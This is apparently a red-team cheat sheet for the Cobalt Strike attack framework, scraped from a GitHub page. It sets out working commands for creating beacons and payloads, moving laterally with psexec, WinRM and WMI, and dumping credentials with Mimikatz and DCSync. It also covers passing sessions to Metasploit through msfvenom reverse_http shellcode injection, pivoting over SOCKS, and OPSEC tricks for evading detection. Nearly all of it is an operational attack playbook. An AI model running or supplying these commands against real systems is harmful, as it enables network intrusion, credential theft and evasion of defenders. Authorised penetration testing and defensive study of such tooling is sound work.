You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Two type of listeners: egress (HTTP(S) and DNS) and peer-to-peer (SMB or TCP).
egress listens on the teamserver IP.
peer-to-peer listens on a existing beacon.
In the menu click the HeadPhones Icon or click Cobalt Strike --> Listeners
Click the Add button at the bottom and and a new listener dialogue will appear.
Choose a descriptive name such as <protocol>-<port> example: http-80.
Set the variables/settings and click Save.
Creating a TCP local listener is usefull for privescing or spawning new shells
Create peer-to-peer listener
Creating P2P listeners can be done in the Listeners menu, by selecting the TCP or SMB Beacon payload type.
Then create payload for the new listener!
Create pivot listener
To start a Pivot Listener on an existing Beacon, right-click Pivoting --> Listener.
Might need to open port on the firewall
Connect to pivot listener
Works like a bind shell. Most used are SMB or TCP.
Run the payload on the target
Connect to the beacon with link for smb and connect for tcp.
connect <IP> <PORT>
link <IP> <PIPE>
OPSEC listeners
DNS: Since 0.0.0.0 is the default response (and also rather nonsensical), Cobalt Strike team servers can be fingerprinted in this way. This can be changed in the Malleable C2 profile.
SMB: The default pipe name(msagent_XX) is quite well signatured. A good strategy is to emulate names known to be used by common applications or Windows itself. Use ls \\.\pipe\ to list all currently listening pipes for inspiration.
Payloads
Create payloads
Click Payloads --> Select an option or all
Powershell payload
Click Attacks --> Scripted web delivery (S) --> Choose a URI path, listener and select type PowerShell IEX
Create dll payload
Bypasses default applocker configuration
C:\Windows\System32\rundll32.exe C:\Users\Administrator\Desktop\beacon.dll,StartW
link <COMPUTERNAME>
Create service binary
Used for privilege escalation with services
Attacks --> Packages --> Windows Executable (S) and selecting the Service Binary output type.
TIP: I recommend the use of TCP beacons bound to localhost only with privilege escalations
OPSEC payloads
Staged payloads are good if your delivery method limits the amount of data you can send. However, they tend to have more indicators compared to stageless. Given the choice, go stageless.
The use of 64-bit payloads on 64-bit Operating Systems is preferable to using 32-bit payloads on 64-bit Operating Systems.
OPSEC: By default, Rubeus will use a random username, domain and password with CreateProcessWithLogonW, which will appear in the associated 4624 logon event. The "Suspicious Logon Events" saved search will show 4624's where the TargetOutboundDomainName is not an expected value.
execute-assembly Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<USER> /password:FakePass123
execute-assembly Rubeus.exe ptt /luid:<LUID FROM PREVIOUS COMMAND> /ticket:<BASE64 TICKET>
steal_token <PID OF FIRST COMMAND>
jump [method] [target] [listener]
Exploit Arch Description
------- ---- -----------
psexec x86 Use a service to run a Service EXE artifact
psexec64 x64 Use a service to run a Service EXE artifact
psexec_psh x86 Use a service to run a PowerShell one-liner
winrm x86 Run a PowerShell script via WinRM
winrm64 x64 Run a PowerShell script via WinRM
Remote-exec
remote-exec [method] [target] [command]
psexec Remote execute via Service Control Manager
winrm Remote execute via WinRM (PowerShell)
wmi Remote execute via WMI
Custom
Use primitives such as powershell, execute-assembly, etc to implement something custom with for example an agressor script.
Beacon's internal implementation of WMI uses a Beacon Object File, executed using the beacon_inline_execute Aggressor function. When a BOF is executed the CoInitializeSecurity COM object can be called, which is used to set the security context for the current process. According to Microsoft's documentation, this can only be called once per process. The unfortunate consequence is that if you have CoInitializeSecurity get called in the context of, say "User A", then future BOFs may not be able to inherit a different security context ("User B") for the lifetime of the Beacon process.
if CoInitializeSecurity has already been called, WMI fails with access denied.
As a workaround, your WMI execution needs to come from a different process. This can be achieved with commands such as spawn and spawnas, or even execute-assembly with a tool such as SharpWMI.
The !(Elevate to system) and @(Impersonate beacons thread) symbols are modifiers.
Go to View -> Credentials to see a copy of all the credentials
Mimikatz logonpasswords
mimikatz !sekurlsa::logonpasswords
logonpasswords
Mimikatz ekeys
mimikatz !sekurlsa::ekeys
Mimikatz sam
mimikatz !lsadump::sam
Mimikatz Cached Credentials
mimikatz !lsadump::cache
DCSync
dcsync <DOMAIN> <DOMAIN\USER>
Session passing
Beacon passing
From one beacon type to another
Spawn an process and inject shellcode for the specified listener into it.
spawn <ARCHITECTURE> <LISTENER>
Cobalt strike --> Metasploit
Only supports x86
sudo msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set LHOST eth0
set LPORT <PORT>
exploit -j
Go to Listeners --> Add and set the Payload to Foreign HTTP. Set the Host, the Port, Set the name to msf and click Save. The command spawn msf will pass the session to metasploit.
spawn msf
Cobalt strike --> Metasploit shellcode shinject new process
sudo msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_http
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=8080 -f raw -o /tmp/msf.bin
execute C:\Windows\System32\notepad.exe
ps
shinject <PID> x64 msf.bin
Cobalt strike --> Metasploit shellcode shspawn new process
sudo msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_http
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=8080 -f raw -o /tmp/msf_http_x64.bin
shspawn x64 C:\Payloads\msf_http_x64.bin
Metasploit --> Cobalt strike
Go to Attacks --> Packages --> Windows Executable (S), select the desired listener, select Raw as the Output type and select Use x64 payload.
use post/windows/manage/shellcode_inject
set SESSION 1
set SHELLCODE /tmp/beacon.bin
run
Pivoting
Socksproxy
Enable Socksproxy no auth
OPSEC: This binds the port on all interfaces and since there is no authentication available on SOCKS4, this port can technically be used by anyone
socks <PORT> <SOCKS4/SOCKS5>
Enable Socksproxy auth
The enableLogging option sends additional logs (such as authentication failures) to the VM console, which you unfortunately can't see easily when the team server running as a service. Instead, you can use journalctl:
Open Proxifier, go to Profile -> Proxy Servers and Add a new proxy entry, which will point at the IP address and Port of your Cobalt Strike SOCKS proxy.
Next, go to Profile -> Proxification Rules. This is where you can add rules that tell Proxifier when and where to proxy specific applications. Multiple applications can be added to the same rule, but in this example, I'm creating a single rule for adexplorer64.exe (part of the Sysinternals Suite).
Target hosts fill in the target internal network range with the action proxy socks <TARGET>
NOTE: You will also need to add a static host entry in C:\Windows\System32\drivers\etc\hosts file: <DC IP> <DOMAIN>. You can enable DNS lookups through Proxifier, but that will cause DNS leaks from your computer into the target environment.
Beacon's reverse port forward always tunnels the traffic to the Team Server and the Team Server sends the traffic to its intended destination, so shouldn't be used to relay traffic between individual machines.
Does not require administrator privs
OPSEC: When the Windows firewall is enabled, it will prompt the user with an alert when an application attempts to listen on a port that is not explicitly allowed. Allowing access requires local admin privileges and clicking cancel will create an explicit block rule. Have to create firewall rule first!
Beacon also has a rportfwd_local command. Whereas rportfwd will tunnel traffic to the Team Server, rportfwd_local will tunnel the traffic to the machine running the Cobalt Strike client.